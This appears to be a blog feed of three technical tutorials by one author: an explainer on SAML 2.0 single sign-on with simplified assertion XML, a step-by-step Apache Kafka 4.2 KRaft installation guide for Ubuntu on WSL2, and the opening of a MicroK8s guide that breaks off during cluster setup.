Before looking at the SAML protocol, let's understand the three main participants.

1. User

The person trying to access an application.

For example:

john.doe@company.com

2. Identity Provider — IdP

The Identity Provider is responsible for authenticating the user.

Examples include enterprise identity platforms such as:

Microsoft Entra ID
Okta
Ping Identity
ADFS
Google Workspace

The IdP authenticates the user and generates a SAML Response containing a SAML Assertion.

3. Service Provider — SP

The Service Provider is the application the user wants to access.

Examples might include:

Salesforce
Workday
GitHub Enterprise
Internal enterprise applications
Cloud applications

The SP trusts the configured Identity Provider and validates the SAML Response.

🔄 The SAML SSO Flow

Now let's look at what actually happens.

Suppose a user wants to access:

https://application.example.com

The user hasn't authenticated yet.

The simplified flow is:

User
 |
 | 1. Access application
 v
Service Provider
 |
 | 2. Authentication Request
 v
Identity Provider
 |
 | 3. Authenticate User
 |
 | 4. Create Signed Assertion
 v
Browser
 |
 | 5. SAML Response
 v
Service Provider
 |
 | 6. Validate Assertion
 v
Application Access

Let's walk through each step.

Step 1 — User Accesses the Application

The user opens the protected application.

https://application.example.com

The application is the Service Provider.

The SP determines that the user doesn't have a valid application session.

Instead of asking the user for another password, it initiates the SAML authentication flow.

Step 2 — The SP Sends an Authentication Request

The Service Provider sends a SAML Authentication Request, commonly called an AuthnRequest, to the Identity Provider.

Conceptually:

Browser
   |
   v
Service Provider
   |
   | AuthnRequest
   v
Identity Provider

The request tells the IdP that the application wants the user authenticated.

Step 3 — The IdP Authenticates the User

The Identity Provider now authenticates the user.

This could involve:

Username + Password
        +
MFA

or another authentication mechanism.

The important point is that the Service Provider doesn't need to handle the user's enterprise credentials directly.

The IdP is responsible for authentication.

Step 4 — The IdP Creates a SAML Assertion

After successful authentication, the IdP creates a SAML Assertion.

A SAML Assertion is an XML document containing statements about the authenticated user.

For example:

<saml:Assertion>

    <saml:Issuer>
        https://identity-provider.example.com
    </saml:Issuer>

    <saml:Subject>
        <saml:NameID>
            john.doe@company.com
        </saml:NameID>
    </saml:Subject>

    <saml:AuthnStatement>
        Authentication Method = MFA
    </saml:AuthnStatement>

    <saml:AttributeStatement>

        Email = john.doe@company.com

        Department = Engineering

        Role = Administrator

    </saml:AttributeStatement>

</saml:Assertion>

This is a simplified educational example. A production SAML Assertion contains additional elements and security information.

🧩 What Is Inside a SAML Assertion?

A SAML Assertion can contain different types of statements.

Authentication Statement

The Authentication Statement describes the authentication event.

It can contain information such as:

Authentication time
Authentication method
Session information

For example:

Authentication Method = MFA
Authentication Time = 2026-08-15T10:30:00Z

Attribute Statement

An Attribute Statement contains information about the user.

For example:

Email       = john.doe@company.com
Department  = Engineering
Role        = Administrator
Group       = Developers

The Service Provider can use these attributes when determining what application functionality the user should receive.

Authorization Decision Statement

SAML also defines authorization decision statements.

Conceptually:

User
 |
 | Permission
 v
Protected Resource

However, it's important not to confuse authentication and authorization.

We'll come back to this distinction shortly.

🔍 Understanding the Important XML Elements

Let's examine the major elements in our simplified Assertion.

`<Issuer>`

Identifies the entity that issued the assertion.

<saml:Issuer>
    https://identity-provider.example.com
</saml:Issuer>

The Service Provider needs to know who issued the assertion.

`<Subject>`

Identifies the subject of the assertion—the user.

<saml:Subject>
    <saml:NameID>
        john.doe@company.com
    </saml:NameID>
</saml:Subject>

`<NameID>`

Provides an identifier for the user.

It might be:

john.doe@company.com

or an employee ID or another configured identifier.

`<Conditions>`

Conditions constrain when and where the assertion can be accepted.

For example:

<saml:Conditions>

    <saml:AudienceRestriction>

        <saml:Audience>
            https://application.example.com
        </saml:Audience>

    </saml:AudienceRestriction>

</saml:Conditions>

The idea is important:

The assertion should not simply be accepted by any application.

The Service Provider validates the assertion against the expected conditions.

`<AuthnStatement>`

Provides information about how and when the user was authenticated.

<saml:AuthnStatement>
    Authentication Method = MFA
</saml:AuthnStatement>

`<AttributeStatement>`

Provides user attributes.

<saml:AttributeStatement>

    Email = john.doe@company.com

    Department = Engineering

    Role = Administrator

</saml:AttributeStatement>

✍️ Why Is the SAML Assertion Digitally Signed?

This is one of the most important security concepts in SAML.

The Identity Provider signs the SAML Assertion using its private key.

The Service Provider uses the corresponding public key to verify the signature.

Conceptually:

             Identity Provider

              Private Key
                   |
                   v
          +-------------------+
          | Sign Assertion    |
          +---------+---------+
                    |
                    | Signed Assertion
                    v
             Service Provider
                    |
                    v
              Public Key
                    |
                    v
          +-------------------+
          | Verify Signature  |
          +-------------------+
                    |
             Valid Signature?
              /           \
            Yes            No
             |              |
             v              v
        Trust Identity    Reject

If an attacker modifies the Assertion after it has been signed, signature verification should fail.

For example, suppose the original assertion contains:

Role = User

An attacker changes it to:

Role = Administrator

The cryptographic signature no longer matches the modified document.

The Service Provider should reject the assertion.

🔐 Digital Signature ≠ Encryption

A digital signature provides integrity and authenticity.

It does not automatically mean that the assertion is encrypted.

This distinction is important.

Digital Signature
        |
        +--> Detect modification
        +--> Verify origin/authenticity

Encryption
        |
        +--> Protect confidentiality
        +--> Prevent unauthorized reading

SAML can support encryption, but signing and encryption solve different security problems.

🌐 What Does the Browser Do?

One of the interesting aspects of browser-based SAML SSO is that the browser participates in transporting the SAML Response.

A simplified flow is:

IdP
 |
 | SAML Response
 v
Browser
 |
 | POST
 v
SP / ACS Endpoint

The browser is essentially transporting the response between the IdP and the SP.

It is not the trusted authority that authenticates the user.

The Service Provider validates the received SAML information.

📦 What Is a SAML Response?

The SAML Response is the protocol message returned to the Service Provider.

Conceptually:

<samlp:Response>

    <saml:Issuer>
        https://identity-provider.example.com
    </saml:Issuer>

    <saml:Assertion>

        ...

    </saml:Assertion>

</samlp:Response>

The Response can contain the SAML Assertion.

The exact structure depends on the SAML profile and configuration.

Where Does Base64 Encoding Come In?

SAML messages transported through browser-based bindings may be Base64 encoded.

This is an important distinction:

Base64 is encoding, not encryption.

For example:

SAML XML
   |
   | Base64 Encode
   v
Encoded Data
   |
   | Transport
   v
Service Provider
   |
   | Base64 Decode
   v
SAML XML

Anyone who has the Base64 data can decode it.

Therefore, Base64 should never be considered a security mechanism.

The security of SAML comes from mechanisms such as:

Digital signatures
HTTPS
Assertion validation
Trusted certificates
Audience validation
Time/condition validation

☕ Exploring SAML with Java

Now let's move from concepts to code.

I've created several small Java programs that demonstrate the fundamental pieces of SAML.

The source code is available here:

GitHub — SAML Java Examples

https://github.com/knowledgebase21st/Software-Engineering/tree/dev/security/saml

The examples include:

CreateSAMLAssertion.java
ParseSAMLAssertion.java
SAMLBase64Encoding.java
XMLDigitalSignatureExample.java
SAMLFlowSimulation.java

The goal isn't to build a production SAML implementation from scratch.

Instead, the examples are intentionally small so that individual concepts can be understood independently.

Example 1 — Creating a SAML Assertion

The first example is:

CreateSAMLAssertion.java

It demonstrates how a simplified SAML Assertion can be represented as an XML document.

The example focuses on elements such as:

Issuer
Subject
Authentication Statement
Attribute Statement

Conceptually:

Java Program
     |
     v
Create XML
     |
     v
SAML Assertion

This is useful for understanding the structure of the assertion before dealing with a complete enterprise SAML implementation.

Source:

https://github.com/knowledgebase21st/Software-Engineering/blob/dev/security/saml/CreateSAMLAssertion.java

Example 2 — Parsing a SAML Assertion

The next example is:

ParseSAMLAssertion.java

This example demonstrates how Java's DOM parser can read an XML-based SAML Assertion and extract information such as:

User
Issuer
Authentication method
Attributes

Conceptually:

SAML XML
   |
   v
DOM Parser
   |
   +----> Issuer
   |
   +----> NameID
   |
   +----> Authentication
   |
   +----> Attributes

This is useful because a Service Provider needs to inspect and validate information contained in the received SAML message.

Source:

https://github.com/knowledgebase21st/Software-Engineering/blob/dev/security/saml/ParseSAMLAssertion.java

Example 3 — Base64 Encoding and Decoding

The third example is:

SAMLBase64Encoding.java

It demonstrates the encoding and decoding process.

Conceptually:

SAML XML
   |
   v
Base64 Encode
   |
   v
Encoded SAML
   |
   v
Base64 Decode
   |
   v
SAML XML

Again, remember:

Base64 != Encryption

Base64 changes the representation of the data; it does not make the data confidential.

Source:

https://github.com/knowledgebase21st/Software-Engineering/blob/dev/security/saml/SAMLBase64Encoding.java

Example 4 — XML Digital Signature

The fourth example is:

XMLDigitalSignatureExample.java

This example demonstrates the cryptographic concept behind SAML digital signatures.

It demonstrates:

RSA key generation
Digital signing
Signature verification

The conceptual flow is:

                RSA Key Pair

          +---------------------+
          |                     |
          | Private Key         | Public Key
          |                     |
          +----------+----------+
                     |
                     v

               Sign XML
                  |
                  v
             Signed XML
                  |
                  v
             Verify XML
                  |
             +----+----+
             |         |
           Valid     Invalid
             |         |
             v         v
          Trust      Reject

This example is particularly useful for understanding why the Service Provider can trust a SAML Assertion after successful signature verification.

Source:

https://github.com/knowledgebase21st/Software-Engineering/blob/dev/security/saml/XMLDigitalSignatureExample.java

Example 5 — Simulating the Complete SAML Flow

The final example is:

SAMLFlowSimulation.java

This example brings the individual concepts together and simulates the overall SAML SSO process.

The flow is represented as:

1. User requests application
          |
          v
2. Service Provider
          |
          v
3. Authentication Request
          |
          v
4. Identity Provider
          |
          v
5. User Authentication
          |
          v
6. Create SAML Assertion
          |
          v
7. Sign Assertion
          |
          v
8. SAML Response
          |
          v
9. Service Provider
          |
          v
10. Validate Assertion
          |
          v
11. Create Session
          |
          v
12. Access Granted

The source code is available here:

https://github.com/knowledgebase21st/Software-Engineering/blob/dev/security/saml/SAMLFlowSimulation.java

This example is particularly useful because it connects the individual concepts into one complete story.

🔎 Authentication vs. Authorization

SAML discussions often lead to confusion between these two concepts.

They are related, but they are not the same.

Authentication

Authentication answers:

Who are you?

Examples:

Username + Password
MFA
Certificate
Biometrics
Smart Card

The Identity Provider typically performs the authentication.

Authorization

Authorization answers:

What are you allowed to do?

For example:

User = john.doe

Role = Administrator

Permissions:
    Read
    Write
    Delete

The Service Provider typically applies application-specific authorization policies.

A useful way to remember the distinction is:

Authentication
      |
      v
"Who are you?"
      |
      v
Authorization
      |
      v
"What can you access?"

🆚 SAML vs OAuth 2.0 vs JWT

These technologies are frequently mentioned together, but they solve different problems.

	SAML	OAuth 2.0	JWT
Primary role	Enterprise SSO / federation	Authorization	Token format
Typical format	XML	Protocol / bearer tokens	JSON
Enterprise SSO	Very common	Not its primary purpose	Not a protocol
Web applications	Common	Common	Common
APIs	Less common	Very common	Very common
Digital signatures	Common	Depends on token/mechanism	Commonly used

One important correction to a common misconception:

JWT is a token format, not an authentication protocol by itself.

OAuth 2.0 is primarily an authorization framework.

SAML is commonly used for enterprise identity federation and browser-based SSO.

🛡️ SAML Security Considerations

SAML involves identity information, so validation is critical.

A Service Provider should not simply decode a SAML Response and trust whatever it contains.

Important checks include:

1. Verify the Digital Signature

The SP should verify the signature against a trusted IdP certificate.

2. Validate the Issuer

The SP should verify that the assertion came from the expected Identity Provider.

3. Validate the Audience

The SP should ensure that the assertion is intended for that Service Provider.

4. Validate Time Conditions

Expired assertions should be rejected.

5. Use HTTPS

SAML messages should be transported over secure channels.

6. Protect the IdP Private Key

The private signing key is extremely sensitive.

If an attacker obtains it, the trust relationship can be severely compromised.

7. Rotate Certificates

Certificates should be managed and rotated according to organizational security policies.

8. Consider Replay Protection

A previously valid SAML message should not be accepted repeatedly outside its intended validity window.

SAML implementations and toolkits provide mechanisms for handling message identifiers and replay protection.

🧠 The Most Important Thing to Understand

If you remember only one thing from this article, remember this:

The IdP authenticates the user.

The IdP creates a signed assertion.

The browser transports the response.

The SP validates the assertion.

The SP creates the application session.

Or even more simply:

             AUTHENTICATION
                    |
                    v
                   IdP
                    |
             Signed Assertion
                    |
                    v
                   SP
                    |
              AUTHORIZATION
                    |
                    v
              Application

That mental model makes the rest of SAML much easier to understand.

🔗 Explore the Java Examples

All five Java examples are available in my GitHub repository:

SAML Java Examples

https://github.com/knowledgebase21st/Software-Engineering/tree/dev/security/saml

They are intentionally small and focused on individual concepts:

CreateSAMLAssertion.java
        |
        +--> Create simplified Assertion

ParseSAMLAssertion.java
        |
        +--> Parse XML Assertion

SAMLBase64Encoding.java
        |
        +--> Encode / Decode

XMLDigitalSignatureExample.java
        |
        +--> Sign / Verify

SAMLFlowSimulation.java
        |
        +--> Complete SSO Flow

📚 Go Deeper: SAML Reference

This article takes a practical, engineering-focused approach to understanding
SAML 2.0 and Enterprise Single Sign-On.

If you'd like a more structured reference covering the concepts in greater
depth, I've also created a dedicated SAML Authentication page in my
Software Engineering Knowledge Base.

The reference page covers:

SAML Authentication and Single Sign-On (SSO)
Identity Provider (IdP) and Service Provider (SP)
Detailed SAML authentication flow
SAML Assertions and their XML structure
Authentication, Attribute, and Authorization statements
Digital signatures and signature verification
Authentication vs. Authorization
SAML vs. OAuth 2.0 vs. JWT
SAML security best practices
Java examples for parsing, encoding, signing, and simulating SAML flows

🔗 SAML Authentication — Software Engineering Knowledge Base

https://clockwiseknowledge.com/se/saml.html

The Java examples discussed in this article are also available in the
accompanying GitHub repository:

💻 SAML Java Examples

https://github.com/knowledgebase21st/Software-Engineering/tree/dev/security/saml

📖 References and Further Reading

OASIS — Security Assertion Markup Language (SAML) v2.0

The official SAML 2.0 standard.
https://www.oasis-open.org/standards/?utm_source=chatgpt.com#samlv2.0
OASIS — SAML 2.0 Technical Overview

https://docs.oasis-open.org/security/saml/Post2.0/sstc-saml-tech-overview-2.0-cd-02.html
A technical overview of SAML concepts, assertions, protocols, bindings,
profiles, and SSO flows.
OWASP — SAML Security Cheat Sheet

https://cheatsheetseries.owasp.org/cheatsheets/SAML_Security_Cheat_Sheet.html
Practical guidance for securely implementing and validating SAML,
including signature validation, replay protection, XML Signature Wrapping,
audience validation, and certificate/key considerations.
Microsoft Learn — SAML Single Sign-On Protocol
https://learn.microsoft.com/en-us/entra/identity-platform/single-sign-on-saml-protocol
A practical reference for SAML-based SSO implementation.

🎯 Conclusion

SAML can initially seem complicated because there are many pieces involved: Identity Providers, Service Providers, Authentication Requests, Responses, Assertions, XML, certificates, digital signatures, browser redirects, and validation rules.

But once the flow is understood, the architecture becomes much clearer.

The central idea is simple:

Authenticate once with a trusted Identity Provider and securely communicate that authentication result to the application.

The Identity Provider authenticates the user and creates a SAML Assertion.

The assertion contains information about the authenticated identity and can include attributes needed by the application.

The Identity Provider signs the assertion.

The browser transports the SAML Response.

The Service Provider validates the response and assertion before creating an application session.

This separation allows enterprises to centralize authentication while allowing many applications to participate in a common SSO infrastructure.

And that is the real value of SAML:

one trusted identity system, many applications, and a standardized way to communicate authentication information between them.

If you're working with enterprise Java applications, identity platforms, application security, or distributed systems, understanding this flow is well worth the effort.

Happy learning! 🚀

Installing Apache Kafka 4.2 on Ubuntu (WSL2): A Complete KRaft Step-by-Step Guide

Sanjay Ghosh — Fri, 17 Jul 2026 18:58:38 +0000

Installing Apache Kafka 4.2 on Ubuntu 24.04 (WSL2) Using KRaft Mode: A Complete Step-by-Step Guide

Learn how to install Apache Kafka 4.2 in KRaft mode, understand its architecture, create topics, produce and consume messages, and troubleshoot common configuration issues—all without ZooKeeper.

🚀 Introduction

Apache Kafka has become the de facto standard for building event-driven, real-time, and high-throughput applications. Whether you're processing millions of financial transactions, collecting application logs, streaming IoT sensor data, or connecting microservices, Kafka provides a scalable and reliable messaging platform.

Until recently, setting up Kafka required running Apache ZooKeeper alongside Kafka brokers. While powerful, ZooKeeper added operational complexity and introduced another distributed system that administrators had to manage.

Beginning with recent Kafka releases, KRaft (Kafka Raft Metadata mode) removes this dependency by allowing Kafka to manage its own metadata internally. This makes installation simpler, reduces operational overhead, and improves scalability.

In this guide, we'll install Apache Kafka 4.2 on Ubuntu 24.04.4 LTS (WSL2), configure a single-node KRaft cluster, and walk through the complete lifecycle:

Installing Kafka
Understanding the Kafka architecture
Configuring KRaft mode
Starting the broker
Creating topics
Producing and consuming messages
Troubleshooting common issues
Understanding the purpose of each configuration parameter

Rather than simply listing commands, I'll explain why each step is necessary so that you understand how Kafka works under the hood.

What is Apache Kafka?

Apache Kafka is a distributed event streaming platform designed to move data reliably and efficiently between applications.

Instead of applications communicating directly with each other, they communicate through Kafka.

A producing application writes messages to Kafka.

Kafka stores those messages reliably.

One or more consuming applications read those messages whenever they need them.

This decouples applications from one another, allowing them to scale independently.

For example, imagine an online shopping application.

Customer Places Order
          │
          ▼
      Order Service
          │
          ▼
       Kafka Topic
      /      |      \
     ▼       ▼       ▼
 Inventory  Billing  Shipping

The Order Service publishes a single event.

Inventory updates stock.

Billing processes the payment.

Shipping prepares the shipment.

Each service works independently without knowing about the others.

This is one of Kafka's greatest strengths.

Kafka Architecture

The following diagram illustrates the overall architecture of Apache Kafka running in KRaft mode.

(Insert the cover architecture image here.)

The architecture consists of three primary components:

Producers

Producers publish messages into Kafka.

Examples include:

Java applications
Spring Boot microservices
Python applications
IoT devices
Web applications
Log collection systems

A producer simply sends data—it doesn't need to know who will consume it.

Kafka Cluster

The Kafka cluster is responsible for:

Receiving messages
Persisting messages to disk
Replicating data
Managing topics
Managing partitions
Delivering messages to consumers

In KRaft mode, the cluster also manages its own metadata through the Controller.

Consumers

Consumers subscribe to topics and process messages.

Examples include:

Analytics applications
Fraud detection services
Notification systems
Machine Learning pipelines
Search indexing services

Multiple consumers can read the same topic independently.

Core Kafka Concepts

Before installing Kafka, it's helpful to understand a few important concepts.

Broker

A Broker is a Kafka server.

It receives messages from producers and stores them on disk.

A Kafka cluster may contain one broker or hundreds of brokers.

For this tutorial, we'll use a single broker.

Topic

A Topic is a logical category used to organize messages.

Examples:

orders

payments

customer-events

application-logs

Applications publish messages to topics.

Consumers subscribe to topics.

Partition

Each topic is divided into one or more Partitions.

Partitions allow Kafka to:

Scale horizontally
Process data in parallel
Increase throughput

For a small development environment, one partition is usually sufficient.

Production systems often contain dozens or even hundreds of partitions.

Producer

A Producer writes messages to a Kafka topic.

For example:

Order Created

Payment Successful

Inventory Updated

Each message is appended sequentially to the topic.

Consumer

A Consumer continuously reads messages from Kafka.

Consumers remember the last message they processed using Offsets, allowing them to resume processing after a restart.

What is KRaft?

Older versions of Kafka required Apache ZooKeeper to maintain cluster metadata.

ZooKeeper stored information such as:

Broker registration
Controller election
Topic metadata
Partition assignments
Cluster configuration

While reliable, this meant administrators had to deploy and maintain two distributed systems.

Beginning with modern Kafka releases, this dependency has been removed.

Kafka now uses KRaft (Kafka Raft Metadata mode).

Instead of relying on ZooKeeper, Kafka stores metadata internally using the Raft consensus protocol.

This results in:

Simpler deployment
Fewer moving parts
Lower operational overhead
Improved scalability
Better long-term maintainability

For new Kafka deployments, KRaft is the recommended architecture.

Installing Apache Kafka 4.2

Before installing Kafka, verify that Java 11 or later is installed.

java -version

Download Kafka:

wget https://downloads.apache.org/kafka/4.2.0/kafka_2.13-4.2.0.tgz

Extract the archive:

tar -xzf kafka_2.13-4.2.0.tgz

Navigate into the installation directory:

cd kafka_2.13-4.2.0

At this point, Kafka has been downloaded but is not yet initialized.

The next step is configuring Kafka to run in KRaft mode.

Understanding `server.properties`

Almost every important Kafka configuration lives inside:

config/server.properties

Although this file contains many configuration options, only a handful are essential for a single-node KRaft installation.

process.roles=broker,controller

node.id=1

controller.quorum.voters=1@localhost:9093

listeners=PLAINTEXT://:9092,CONTROLLER://:9093

advertised.listeners=PLAINTEXT://localhost:9092,CONTROLLER://localhost:9093

controller.listener.names=CONTROLLER

log.dirs=/tmp/kraft-combined-logs

delete.topic.enable=true

Let's briefly understand what each property does.

Property	Purpose
process.roles	Defines whether this node acts as a Broker, Controller, or both.
node.id	Unique identifier for the Kafka node.
controller.quorum.voters	Identifies which nodes participate in controller elections.
listeners	Specifies the network ports Kafka listens on.
advertised.listeners	Tells clients how they should connect to Kafka.
controller.listener.names	Indicates which listener is reserved for controller communication.
log.dirs	Directory used to store Kafka logs and metadata.
delete.topic.enable	Enables topic deletion.

Notice that Kafka listens on two ports:

Port	Purpose
9092	Producers, Consumers, Kafka Clients
9093	Internal KRaft Controller Communication

Your Java applications, producers, consumers, and administration tools will typically connect to 9092.

The 9093 listener is reserved for Kafka's internal controller operations.

In the next section, we'll initialize Kafka storage, start the broker, create our first topic, and begin publishing and consuming messages.

Initializing Kafka Storage and Starting the Broker

Now that Kafka is installed and server.properties is configured, the next step is to initialize the metadata storage required by KRaft mode.

Unlike older Kafka versions that relied on ZooKeeper to maintain cluster metadata, KRaft stores metadata directly within Kafka. Before the broker can start, this storage must be initialized exactly once.

Step 1 – Generate a Cluster ID

Every Kafka cluster has a unique Cluster ID.

Generate one using:

bin/kafka-storage.sh random-uuid

Example output:

NBPgGxgHTuuFVYzV3U6oyA

Your value will be different.

Save this value because it will be used during the storage formatting step.

Step 2 – Format the Metadata Storage

Initialize the storage using the Cluster ID that was generated in the previous step.

bin/kafka-storage.sh format \
-t NBPgGxgHTuuFVYzV3U6oyA \
-c config/server.properties

If everything is configured correctly, Kafka will display output similar to:

Formatting dynamic metadata voter directory /tmp/kraft-combined-logs

This command creates the metadata required by the KRaft controller.

Important: Formatting should only be performed when creating a new Kafka cluster. Running it again on an existing cluster will erase the existing metadata.

Step 3 – Start Kafka

Start the Kafka broker using:

bin/kafka-server-start.sh config/server.properties

Kafka starts as a foreground process.

You should begin seeing log messages indicating that the broker and controller have started successfully.

Leave this terminal running.

Understanding the Listener Ports

One question that often confuses new Kafka users is:

Why does Kafka use two ports?

Earlier we configured:

listeners=PLAINTEXT://:9092,CONTROLLER://:9093

These listeners serve different purposes.

Port	Purpose
9092	Client communication (Producers, Consumers, Admin tools, Java applications)
9093	Internal KRaft Controller communication

Think of 9092 as the public entrance to Kafka.

Applications connect to this port to publish and consume messages.

The 9093 listener is reserved for Kafka itself. It is used internally by the controller to manage cluster metadata and coordinate the broker.

As an application developer, you will almost always connect to 9092.

Creating Your First Topic

A Topic is a logical channel used to organize messages.

Let's create one named my-test-topic.

bin/kafka-topics.sh \
--create \
--topic my-test-topic \
--bootstrap-server localhost:9092

Expected output:

Created topic my-test-topic.

Notice that we connected using localhost:9092.

The --bootstrap-server parameter specifies the Kafka broker that the client should contact.

Listing Existing Topics

To display all available topics:

bin/kafka-topics.sh \
--list \
--bootstrap-server localhost:9092

Example output:

my-test-topic

If your Kafka installation contains multiple topics, each one will be listed.

Describing a Topic

To display detailed information about a topic:

bin/kafka-topics.sh \
--describe \
--topic my-test-topic \
--bootstrap-server localhost:9092

Typical output includes:

Topic name
Partition count
Replication factor
Leader
Replicas
In-Sync Replicas (ISR)

Understanding these values becomes increasingly important as your Kafka cluster grows beyond a single broker.

Producing Messages

Now let's send our first messages.

Open a second terminal and execute:

bin/kafka-console-producer.sh \
--topic my-test-topic \
--bootstrap-server localhost:9092

You'll see a prompt:

Everything you type is immediately published to Kafka.

For example:

Hello Kafka!

Learning Kafka with KRaft mode.

This is my first Kafka message.

Each line becomes a separate Kafka message.

Consuming Messages

Open a third terminal.

Run:

bin/kafka-console-consumer.sh \
--topic my-test-topic \
--from-beginning \
--bootstrap-server localhost:9092

Example output:

Hello Kafka!

Learning Kafka with KRaft mode.

This is my first Kafka message.

The --from-beginning option instructs Kafka to replay all existing messages in the topic.

This is useful when verifying your setup or replaying historical events.

Reading Only New Messages

If you're only interested in messages produced after the consumer starts, simply omit the --from-beginning option.

bin/kafka-console-consumer.sh \
--topic my-test-topic \
--bootstrap-server localhost:9092

Now the consumer waits for new incoming messages.

As soon as a producer publishes another message, it immediately appears in the consumer terminal.

This demonstrates Kafka's real-time event streaming capability.

How Message Flow Works

At this point, you've already built a complete event-driven messaging system.

The overall flow looks like this:

Producer
    │
    │ Publish Message
    ▼
+-------------------+
|       Kafka       |
|    Topic Storage  |
+-------------------+
    │
    │ Read Messages
    ▼
Consumer

The producer and consumer never communicate directly.

Kafka sits between them, storing messages reliably and allowing multiple consumers to process the same events independently.

This decoupling is one of Kafka's biggest architectural advantages and is widely used in microservices and distributed systems.

Verifying That Everything Works

At this stage, you should have successfully:

Installed Kafka
Configured KRaft mode
Started the broker
Created a topic
Produced messages
Consumed messages

You now have a fully functioning single-node Kafka environment ready for development and experimentation.

In the next section, we'll look at common administration commands, deleting topics, troubleshooting configuration issues—including one that prevented my own Kafka broker from starting—and discuss where to go next in your Kafka learning journey.

Kafka Administration

Once your Kafka broker is running successfully, you'll frequently perform administrative tasks such as listing topics, inspecting topic details, and deleting topics during development.

Let's look at some of the most common commands.

Listing All Topics

To display every topic in the Kafka cluster:

bin/kafka-topics.sh \
--list \
--bootstrap-server localhost:9092

Example output:

my-test-topic
orders
payments
application-logs

This command is useful for verifying that topics were created successfully.

Describing a Topic

To view detailed information about a topic:

bin/kafka-topics.sh \
--describe \
--topic my-test-topic \
--bootstrap-server localhost:9092

Typical output contains information similar to:

Topic: my-test-topic

PartitionCount: 1

ReplicationFactor: 1

Leader: 1

Replicas: 1

Isr: 1

Let's briefly understand what these values mean.

Property	Description
PartitionCount	Number of partitions belonging to the topic
ReplicationFactor	Number of replicas maintained for fault tolerance
Leader	Broker currently responsible for reads and writes
Replicas	Brokers containing copies of the partition
ISR	In-Sync Replicas currently synchronized with the leader

In this tutorial we're using a single-node Kafka cluster, so each value is simply 1.

Deleting a Topic

Deleting a topic is straightforward.

bin/kafka-topics.sh \
--bootstrap-server localhost:9092 \
--delete \
--topic my-test-topic

However, topic deletion must be enabled.

Verify that the following property exists inside:

config/server.properties

delete.topic.enable=true

Without this configuration, Kafka ignores delete requests.

Common Kafka Commands

Create a Topic

bin/kafka-topics.sh \
--create \
--topic my-test-topic \
--bootstrap-server localhost:9092

List Topics

bin/kafka-topics.sh \
--list \
--bootstrap-server localhost:9092

Describe a Topic

bin/kafka-topics.sh \
--describe \
--topic my-test-topic \
--bootstrap-server localhost:9092

Produce Messages

bin/kafka-console-producer.sh \
--topic my-test-topic \
--bootstrap-server localhost:9092

Consume All Messages

bin/kafka-console-consumer.sh \
--topic my-test-topic \
--from-beginning \
--bootstrap-server localhost:9092

Consume Only New Messages

bin/kafka-console-consumer.sh \
--topic my-test-topic \
--bootstrap-server localhost:9092

Delete a Topic

bin/kafka-topics.sh \
--bootstrap-server localhost:9092 \
--delete \
--topic my-test-topic

Real-World Issue: Why My Kafka Broker Wouldn't Start

While writing this article, I ran into a problem that took some investigation to resolve.

After formatting the Kafka storage and attempting to start the broker, Kafka continuously displayed messages similar to:

initializeNewPublishers:
the loader is still catching up because we still don't know the high water mark yet.

It also reported:

Unable to register the broker because the RPC got timed out before it could be sent.

Although these messages looked alarming, they were actually symptoms rather than the root cause.

The Real Problem

After reviewing my configuration, I discovered that my server.properties file was missing the following configuration:

controller.quorum.voters=1@localhost:9093

Without this property, Kafka's Controller had no information about which node was responsible for participating in controller elections.

As a result:

The Controller never became active.
The Broker could not register.
Kafka continued waiting indefinitely for metadata initialization.

Adding the missing configuration resolved the issue immediately.

Why This Configuration Matters

In KRaft mode, Kafka no longer relies on ZooKeeper to manage metadata.

Instead, Kafka uses an internal Controller based on the Raft consensus protocol.

The controller.quorum.voters property identifies the nodes participating in that Controller quorum.

For a single-node development environment, the configuration is simply:

controller.quorum.voters=1@localhost:9093

In production clusters, multiple controller nodes would typically be listed.

Lessons Learned

During this installation I learned several useful lessons:

✅ KRaft mode eliminates the need for ZooKeeper.

✅ Every Kafka cluster requires a unique Cluster ID.

✅ Kafka storage must be formatted before the broker starts.

✅ Producers and consumers connect to 9092, while 9093 is reserved for internal Controller communication.

✅ The server.properties file is the heart of Kafka configuration.

✅ A missing controller.quorum.voters property prevents the Controller from becoming active.

Understanding why Kafka behaves this way makes troubleshooting much easier than simply memorizing commands.

What's Next?

Now that Kafka is running successfully, there are many exciting topics to explore.

Some natural next steps include:

Building a Java Kafka Producer
Building a Java Kafka Consumer
Understanding Partitions and Offsets
Consumer Groups
Kafka Streams
Spring Boot with Kafka
Event-Driven Microservices
Real-time Log Processing
Fraud Detection Pipelines
Integrating Kafka with AI and RAG applications

Kafka is much more than a messaging system—it is a powerful event streaming platform used by organizations to build highly scalable, real-time applications.

Conclusion

In this guide, we installed Apache Kafka 4.2 on Ubuntu 24.04 (WSL2) using KRaft mode, configured a single-node broker, initialized the metadata storage, created topics, produced and consumed messages, and explored the essential administration commands used in day-to-day development.

Along the way, we also investigated and resolved a real configuration issue involving controller.quorum.voters, highlighting the importance of understanding Kafka's internal architecture rather than simply following installation steps.

Whether you're building microservices, processing application logs, streaming IoT data, or developing real-time analytics, Kafka provides a reliable foundation for event-driven applications.

I hope this guide helps you get started with Kafka and saves you some of the troubleshooting time that I experienced during my own setup. Happy learning!

Running Java Applications on Kubernetes with MicroK8s in WSL2: A Complete Step-by-Step Guide

Sanjay Ghosh — Thu, 02 Jul 2026 21:19:19 +0000

🚀 Introduction

Deploying Kubernetes locally can feel like a breeze—until you introduce cross-OS boundaries like running MicroK8s inside an Ubuntu WSL2 instance on a Windows machine. Suddenly, networking bridges, cluster security templates, and isolated container image caches clash.

In this guide, I will take you through my entire journey from absolute scratch: initializing the cluster, bypassing the Windows-to-WSL network layer, containerizing a legacy .war file into Apache Tomcat 10, resolving local container runtime blocks, and scaling to a load-balanced multi-pod deployment.

Overall Flow :

Deployment Flow:

🛠️ Phase 1: Installing and Configuring the Cluster

MicroK8s is Canonical's lightweight, fast-booting Kubernetes distribution that works natively on Ubuntu via Snap packages.

1. Installation & Init

Run the standard package manager to pull the classic snap layer down and wait for readiness flags to clear:

sudo snap install microk8s --classic
sudo microk8s status --wait-ready
sudo microk8s enable dns dashboard storage

2. The WSL2 Network Barrier 🛑

Because the cluster builds internal authorization certificates tied exclusively to the Linux environment, a Windows web browser attempting to view the dashboard on localhost will be strictly blocked. We must patch the cluster's trusted certificate schema.

First, check your active Ubuntu network IP address:

ip route
## Look for your eth0 source IP (e.g., 172.21.236.75)

Open the root certificate mapping file:

sudo vi /var/snap/microk8s/current/certs/csr.conf.template

Scroll down to the [ alt_names ] segment and explicitly append your Ubuntu network address to the safe-list:

IP.3 = 172.21.236.75

Force a full service recycle to re-mint the secure tokens:

sudo microk8s stop && sudo microk8s start

3. Launching the Security Proxy

